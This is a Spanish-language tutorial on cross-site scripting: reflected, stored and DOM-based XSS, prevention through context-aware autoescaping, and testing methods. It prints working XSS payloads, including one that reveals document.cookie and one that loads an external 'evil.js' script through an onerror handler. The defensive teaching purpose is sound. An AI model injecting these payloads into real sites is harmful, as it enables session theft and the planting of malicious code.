Tabla de contenidos
- Introducción al cross-site scripting
- Público objetivo
- ¿Qué es el cross-site scripting y por qué debería preocuparme?
- Un ejemplo básico
- A veces la carga útil XSS puede persistir
- Su servidor no siempre verá la carga útil XSS
- Prevención de XSS
- ¿Qué puedo hacer para prevenir el XSS?
- Utilizar un sistema de plantillas con autoescapado consciente del contexto
- Una nota sobre el escape manual de la entrada
- Entender los comportamientos comunes de los navegadores que conducen al XSS
- Aprender las mejores prácticas para su tecnología
- Probar el XSS
- ¿Cómo puedo probar el XSS?
- Pruebas manuales («pruebas de caja negra»)
- Revisión del código («pruebas de caja blanca»)
- Pruebas unitarias
- Escáneres de seguridad de aplicaciones web
- ¿Qué método de prueba debo utilizar?
- Visite cualquier página controlada por el atacante. Esta página podría incluir un iframe invisible que apunte al sitio vulnerable al XSS, junto con una carga útil para explotar la vulnerabilidad.
- O hacer clic en un enlace URL del atacante. Este enlace incluiría el payload del exploit (en el ejemplo anterior, https://xss-doc.appspot.com/demo/2?query=<script>alert(‘hola’)</script>) e incluso podría estar oculto por un acortador de URL.
Introducción al cross-site scripting
Este documento está dirigido a cualquier persona que desarrolle sitios web o esté interesada en temas de seguridad web. Una experiencia en HTML, JavaScript y Document Object Model (DOM) sería útil para algunos de los detalles más técnicos.
No seas malvado
Este documento proporciona información que podría utilizarse para evaluar la seguridad de un sitio web contra las vulnerabilidades de cross-site scripting. No utilice lo que aprenda aquí para probar (o peor, atacar) sitios web sin el permiso del propietario del sitio web.
¿Qué es el cross-site scripting y por qué debería preocuparme?
El cross-site scripting (XSS) es un fallo de seguridad que puede afectar a los sitios web. Si está presente en su sitio web, este fallo puede permitir a un atacante añadir su propio código JavaScript malicioso en las páginas HTML que se muestran a sus usuarios. Una vez ejecutado por el navegador de la víctima, este código podría realizar acciones como cambiar completamente el comportamiento o la apariencia del sitio web, robar datos privados o realizar acciones en nombre del usuario.
No te preocupes, te mostraremos qué significa todo esto, pero antes de profundizar, veamos algunos ejemplos interactivos para ver cómo funciona.
Un ejemplo básico
Las vulnerabilidades XSS suelen ocurrir cuando la entrada del usuario se incorpora a la respuesta de un servidor web (es decir, a una página HTML) sin un escape o validación adecuados.
Considere la siguiente aplicación de búsqueda. Haga clic en «Mostrar demostración» para cargar la aplicación. Se trata de una aplicación de demostración que funciona, por lo que puede interactuar con ella: intente buscar algo. Para su referencia, también incluimos el código fuente de App Engine–puede ver el código haciendo clic en el enlace «Click to view application source code».
Aplicación de demostración 1:
Usando la aplicación de demostración anterior, busca test
. Esto devuelve la siguiente salida:
Lo sentimos, no se han encontrado resultados para la prueba. Inténtelo de nuevo.
Ahora, busca <u>test</u>
. Observa que «test» está subrayado en la respuesta:
Lo sentimos, no se han encontrado resultados para la prueba. Inténtelo de nuevo.
Así que, sin mirar el código, parece que la aplicación incluye nuestro propio marcado HTML en la respuesta. Eso es interesante pero no es terriblemente peligroso. Sin embargo, si la aplicación también nos permite inyectar código JavaScript, eso sería mucho más «interesante».
Probemos a hacerlo. Busca <script>alert('hello')</script>
.
¡Hemos encontrado un bug XSS!
Acabas de experimentar un ataque XSS «reflejado», en el que la carga útil de JavaScript (<script>alert('hello')</script>
) se repite en la página devuelta por el servidor.
Si miras la línea 50 del código fuente, verás que el mensaje que se muestra en la página de resultados de la búsqueda es una cadena que se construye utilizando el valor de entrada query
. Esta cadena se pasa a una función que renderiza la salida HTML utilizando el método response.out.write
en la línea 37. El problema es que la entrada no se escapa antes de ser renderizada. Hablaremos del escape más adelante en la sección «Prevención de XSS».
En el escenario anterior, un atacante necesitaría que la víctima:
Cabe destacar que una carga útil XSS puede ser entregada de diferentes maneras; por ejemplo, podría estar en un parámetro de una solicitud HTTP POST, como parte de la URL, o incluso dentro de la cookie del navegador web – básicamente, en cualquier lugar donde un usuario pueda suministrar entradas al sitio web.
Todo esto para generar una molesta ventana emergente puede parecer que no merece la pena. Por desgracia, las vulnerabilidades XSS pueden dar lugar a mucho más que alertas en una página (una alerta emergente es sólo una forma conveniente para que un atacante o investigador detecte la presencia de un fallo XSS). Echa un vistazo al siguiente ejemplo para ver un script más malicioso.
A veces la carga útil XSS puede persistir
En el ataque que describimos anteriormente, el servidor web devuelve la carga útil XSS a la víctima de inmediato. Pero también es posible que el servidor almacene la entrada suministrada por el atacante (la carga útil XSS) y la sirva a la víctima en un momento posterior. Esto se denomina «XSS almacenado».
A continuación ilustramos un ejemplo básico utilizando una red social de demostración. Adelante, introduzca algún texto y comparta su estado en la aplicación de demostración de abajo.
Aplicación de demostración 2:
A continuación, prueba esto:
- Introduce
<img src=x onerror="alert('Pop-up window via stored XSS');"
- Comparte tu estado.
- ¡Deberías ver una alerta emergente! Volverás a ver la alerta si actualizas la página o compartes otro mensaje de estado.
Ahora, introduce <img src=x onerror="alert(document.cookie);"
y pulsa ‘¡Compartir estado!
¡El ID de sesión de esta aplicación (uno inventado que probablemente sea ‘123412341234’) aparecerá! Un atacante podría utilizar un código de explotación XSS para recoger este ID de sesión, y tratar de hacerse pasar por el propietario de la cuenta.
Nota: Para reiniciar la aplicación y deshacerse de las molestas ventanas emergentes, haz clic en el botón «Borrar todos los mensajes».
¿Qué más se puede hacer además de hacer saltar las alertas o robar los ID de sesión? Prácticamente puede hacer todo lo que permite JavaScript. Prueba a introducir lo siguiente:
<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
Espeluznante, ¿no? En este ejemplo, un archivo JavaScript maligno fue recuperado e incrustado vía XSS.
Su servidor no siempre verá la carga útil XSS
En los dos ejemplos anteriores, la entrada del usuario se envió al servidor, y el servidor respondió al usuario mostrando una página que incluía la entrada del usuario. Sin embargo, una vulnerabilidad XSS almacenada o reflejada también puede ocurrir sin la participación directa del servidor, si los datos suministrados por el usuario se utilizan en una operación JavaScript no segura. Es decir, el XSS puede ocurrir enteramente en el JavaScript y el HTML del lado del cliente (más específicamente, en el Modelo de Objetos del Documento o DOM) sin que los datos sean enviados de ida y vuelta entre el cliente y el servidor. Llamamos a esta subclase de bugs «DOM-based XSS» o «DOM XSS» para abreviar. Una causa común de los errores DOM XSS es establecer el valor innerHTML
de un elemento DOM con datos suministrados por el usuario.
Echa un vistazo a la siguiente aplicación. Utiliza un fragmento de URL para determinar qué pestaña mostrar.
Aplicación de demostración 3:
La aplicación funciona como se espera cuando se hace clic en las pestañas. Sin embargo, también es posible abrir una URL como:
https://xss-doc.appspot.com/demo/3#’><img src=x onerror=alert(/DOM-XSS/)>
Puedes copiar y pegar la URL anterior en la «barra de URL» de la aplicación de demostración anterior y hacer clic en el botón «Ir». Deberías ver una alerta emergente.
El XSS se activa porque el script del lado del cliente utiliza parte del window.location
para establecer el innerHTML
de uno de los elementos dentro de la página. Cuando vas a la URL anterior, la variable location.hash
se establece en #'><img src=x onerror=alert(/DOM-XSS/)>
. Si miras la línea 33 del código fuente de index.html, verás que la subcadena de location.hash
(la cadena después del carácter #) se pasa como argumento a la función chooseTab
en la línea 8. chooseTab
construye un elemento img para incrustar una imagen utilizando lo siguiente:
html += "<img src='/static/demos/GEECS" + name + ".jpg' />";
El argumento de la subcadena location.hash
se utiliza para establecer el valor de name
; esto da como resultado el siguiente elemento img:
<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />
Lo anterior es un HTML válido; sin embargo, el navegador no cargará la imagen y en su lugar ejecutará el código onerror
. Este elemento img se añade finalmente al documento mediante innerHTML
en la línea 12.
Nada es infalible
Damos algunas sugerencias sobre cómo puede minimizar la posibilidad de que su sitio web contenga vulnerabilidades XSS. Pero tenga en cuenta que tanto la seguridad como la tecnología evolucionan muy rápidamente; así que no hay garantías: lo que funciona hoy puede no funcionar del todo mañana (los hackers pueden ser muy listos).
¿Qué puedo hacer para prevenir el XSS?
Una técnica común para prevenir las vulnerabilidades XSS es el «escape». El propósito del escape de caracteres y cadenas es asegurarse de que cada parte de una cadena se interpreta como una primitiva de cadena, no como un carácter de control o código.
Por ejemplo, ‘<
‘ es la codificación HTML para el carácter ‘<
‘. Si incluyes:
<script>alert('testing')</script>
en el HTML de una página, el script se ejecutará. Pero si incluyes:
<script>alert('testing')</script>
en el HTML de una página, imprimirá el texto «<script>alert(‘testing’)</script>», pero no ejecutará realmente el script. Al escapar de las etiquetas <script>
, evitamos que el script se ejecute. Técnicamente, lo que hicimos aquí es «codificar» y no «escapar», pero «escapar» transmite el concepto básico (y veremos más adelante que en el caso de JavaScript, «escapar» es realmente el término correcto).
Lo siguiente puede ayudar a minimizar las posibilidades de que su sitio web contenga vulnerabilidades XSS:
- Usar un sistema de plantillas con autoescapado consciente del contexto
- Escapar manualmente la entrada del usuario (si no es posible usar un sistema de plantillas con autoescapado consciente del contexto)
- Entender los comportamientos comunes de los navegadores que conducen a XSS
- Aprender las mejores prácticas para su tecnología
El resto de esta sección describe estas medidas en detalle.
Utilizar un sistema de plantillas con autoescapado consciente del contexto
El medio más sencillo y mejor para proteger su aplicación y a sus usuarios de los fallos XSS es utilizar un sistema de plantillas web o un marco de desarrollo de aplicaciones web que autoescapen la salida y sean conscientes del contexto.
La «autoescapada» se refiere a la capacidad de un sistema de plantillas o un marco de desarrollo web para escapar automáticamente de la entrada del usuario con el fin de evitar que se ejecute cualquier script incrustado en la entrada. Si quiere evitar el XSS sin autoescapado, tendrá que escapar manualmente la entrada; esto significa escribir su propio código personalizado (o llamar a una función de escape) en todos los casos en que su aplicación incluya datos controlados por el usuario. En la mayoría de los casos, no se recomienda escapar manualmente la entrada; hablaremos del escape manual en la siguiente sección.
«Context-aware» se refiere a la capacidad de aplicar diferentes formas de escape basadas en el contexto apropiado. Dado que el CSS, el HTML, las URLs y el JavaScript utilizan diferentes sintaxis, se requieren diferentes formas de escape para cada contexto. El siguiente ejemplo de plantilla HTML utiliza variables en todos estos contextos diferentes:
<body> <span style="color:{{ USER_COLOR }};"> Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>. </span> <script> var id = {{ USER_ID }}; alert("Your user ID is: " + id); </script></body>
Como puedes ver, tratar de escapar manualmente la entrada para varios contextos puede ser muy difícil. Puedes leer más sobre el autoescapado consciente del contexto aquí. Go Templates, Google Web Toolkit (GWT) con SafeHtml, Closure Templates y CTemplate proporcionan autoescapado consciente del contexto para que las variables se escapen correctamente para el contexto de la página en la que aparecen. Si estás usando plantillas para generar HTML dentro de JavaScript (¡una buena idea!) Closure Templates y Angular proporcionan capacidades de escape integradas.
Una nota sobre el escape manual de la entrada
Escribir tu propio código para escapar la entrada y luego aplicarlo de forma correcta y consistente es extremadamente difícil. No recomendamos que escape manualmente los datos suministrados por el usuario. En su lugar, le recomendamos encarecidamente que utilice un sistema de plantillas o un marco de desarrollo web que proporcione un autoescapado consciente del contexto. Si esto es imposible para su sitio web, utilice las bibliotecas y funciones existentes que se sabe que funcionan, y aplique estas funciones de forma coherente a todos los datos suministrados por el usuario y todos los datos que no están directamente bajo su control.
Entender los comportamientos comunes de los navegadores que conducen a XSS
Si sigue las prácticas de la sección anterior, puede reducir el riesgo de introducir errores XSS en sus aplicaciones. Sin embargo, hay formas más sutiles en las que el XSS puede aparecer. Para mitigar el riesgo de estos casos de esquina, considere lo siguiente:
- Especifique el
Content-Type
correcto y elcharset
para todas las respuestas que puedan contener datos del usuario.- Sin estas cabeceras, muchos navegadores tratarán de determinar automáticamente la respuesta adecuada realizando un rastreo del contenido o del conjunto de caracteres. Esto puede permitir que la entrada externa engañe al navegador para que interprete parte de la respuesta como marcado HTML, lo que a su vez puede conducir a XSS.
- Asegúrese de que todas las URLs suministradas por el usuario comienzan con un protocolo seguro.
- A menudo es necesario utilizar URLs proporcionadas por los usuarios, por ejemplo como una URL de continuación para redirigir después de una determinada acción, o en un enlace a un recurso especificado por el usuario. Si el protocolo de la URL es controlado por el usuario, el navegador puede interpretarla como una URI de scripting (por ejemplo,
javascript:
data:
, y otros) y ejecutarla. Para evitarlo, verifique siempre que la URL comienza con un valor de la lista blanca (normalmente sólohttp://
ohttps://
).
- A menudo es necesario utilizar URLs proporcionadas por los usuarios, por ejemplo como una URL de continuación para redirigir después de una determinada acción, o en un enlace a un recurso especificado por el usuario. Si el protocolo de la URL es controlado por el usuario, el navegador puede interpretarla como una URI de scripting (por ejemplo,
- Alojar los archivos subidos por el usuario en un dominio sandboxed.
Aprende las mejores prácticas para tu tecnología
Las siguientes mejores prácticas pueden ayudarte a reducir las vulnerabilidades XSS en tu código para tecnologías específicas.
- JavaScript: Muchas vulnerabilidades XSS son causadas por el paso de datos del usuario a sumideros de ejecución de Javascript; mecanismos del navegador que ejecutarán scripts a partir de su entrada. Tales APIs incluyen
*.innerHTML
document.write
yeval()
. Cuando los datos controlados por el usuario (en forma delocation.*
document.cookie
o variables de JavaScript que contienen datos del usuario) son devueltos por el servidor, la llamada a dichas funciones puede conducir a XSS. - JSON: asegúrese de aplicar un escape adecuado (incluyendo el escape HTML de caracteres como
<
y>
). No permita que los datos suministrados por el usuario se devuelvan como la primera parte de la respuesta (como suele ocurrir en JSONP). No utiliceeval()
para analizar los datos. - Flash: considere la posibilidad de alojar los archivos SWF en un dominio separado.
- GWT: siga las directrices de la Guía del Desarrollador de GWT sobre SafeHtml. En particular, evite el uso de APIs que interpretan los valores de cadenas simples como HTML y prefiera las variantes de SafeHtml cuando estén disponibles. Por ejemplo, prefiera
HTML#setHTML(SafeHtml)
sobreHTML#setHTML(String)
. - Desinfección de HTML: Si necesitas dar soporte al marcado suministrado por el usuario, como imágenes o enlaces, busca tecnologías que soporten la sanitización de HTML. Por ejemplo, Caja incluye un sanitizador de HTML escrito en Javascript que puede utilizarse para eliminar el Javascript potencialmente ejecutable de un fragmento de HTML.
Proceda con precaución
Como con cualquier prueba de seguridad, puede haber efectos secundarios no deseados. No asumimos ninguna responsabilidad por el uso que hagas de los conocimientos que obtengas aquí (con el poder viene la responsabilidad); así que, utiliza esta información bajo tu propio riesgo.
¿Cómo puedo probar el XSS?
No hay una bala de plata para detectar XSS en las aplicaciones. La mejor manera de ir a las pruebas de errores XSS es a través de una combinación de:
- pruebas manuales,
- escribir pruebas unitarias para verificar el correcto escape o sanitización en partes cruciales de su aplicación, y
- utilizar herramientas automatizadas.
- Interactúe con su aplicación. Inserte cadenas que contengan metacaracteres HTML y JavaScript en todas las entradas de la aplicación, como formularios, parámetros de URL, campos ocultos(!) o valores de cookies.
- Una buena cadena de prueba es
>'>"><img src=x onerror=alert(0)>
. - Si tu aplicación no escapa correctamente de esta cadena, verás una alerta y sabrás que algo ha ido mal.
- Dondequiera que su aplicación maneje URLs proporcionadas por el usuario, introduzca
javascript:alert(0)
odata:text/html,<script>alert(0)</script>
. - Cree un perfil de usuario de prueba con datos similares a las cadenas de prueba anteriores. Utilice ese perfil para interactuar con su aplicación. Esto puede ayudar a identificar errores de XSS almacenados.
- Se generen marcas que incluyan entradas del usuario en el código – verifique que cualquier entrada que no sea de confianza sea escapada o eliminada.
- Su aplicación redirige a URLs externas – asegúrese de que la URL comienza con http:// o https://.
- Utilizas un sanitizador o despojador de HTML para eliminar las etiquetas del marcado – verifica que se escapa cualquier marcado no compatible.
Esta sección describirá y hará recomendaciones para cada estrategia.
Pruebas manuales («black-box testing»)
El XSS es un riesgo siempre que su aplicación maneje entradas de usuario.
Para obtener los mejores resultados, configure su navegador para utilizar un proxy que intercepte y analice el tráfico para ayudar a identificar los problemas. Algunos ejemplos de herramientas son Burp Proxy y ratproxy.
Realice estas pruebas básicas en su aplicación:
Revisión del código («white-box testing»)
Solicite que un colega o amigo revise su código con ojos frescos (¡y ofrézcase a devolver el favor!). Pídeles que busquen específicamente vulnerabilidades XSS y señálales este documento, si les resulta útil.
Pruebas unitarias
Utiliza las pruebas unitarias para asegurarte de que un determinado dato se escapa correctamente. Aunque no siempre es factible realizar pruebas unitarias en todos los lugares en los que se muestran los datos suministrados por el usuario, como mínimo deberías escribir pruebas unitarias para cualquier código ligeramente fuera de lo normal para asegurarte de que el resultado cumple tus expectativas. Esto incluye lugares donde:
Además, cada vez que encuentres y corrijas un fallo XSS en tu código, considera añadir una prueba de regresión para ello.
Escaneadores de seguridad de aplicaciones web
Puede utilizar software de escaneo de seguridad para identificar vulnerabilidades XSS dentro de las aplicaciones. Aunque los escáneres automáticos a menudo no están optimizados para su aplicación particular, le permiten encontrar rápida y fácilmente las vulnerabilidades más obvias. Skipfish es una de estas herramientas.
¿Qué método de prueba debo utilizar?
Bueno, para ser honesto: tantos como sea posible (¿qué clase de respuesta esperabas de la gente de seguridad?). Ninguna metodología de pruebas es infalible; así que, realizar una combinación de revisiones de código, y pruebas manuales y automatizadas, disminuirá las probabilidades de una vulnerabilidad XSS en tu aplicación.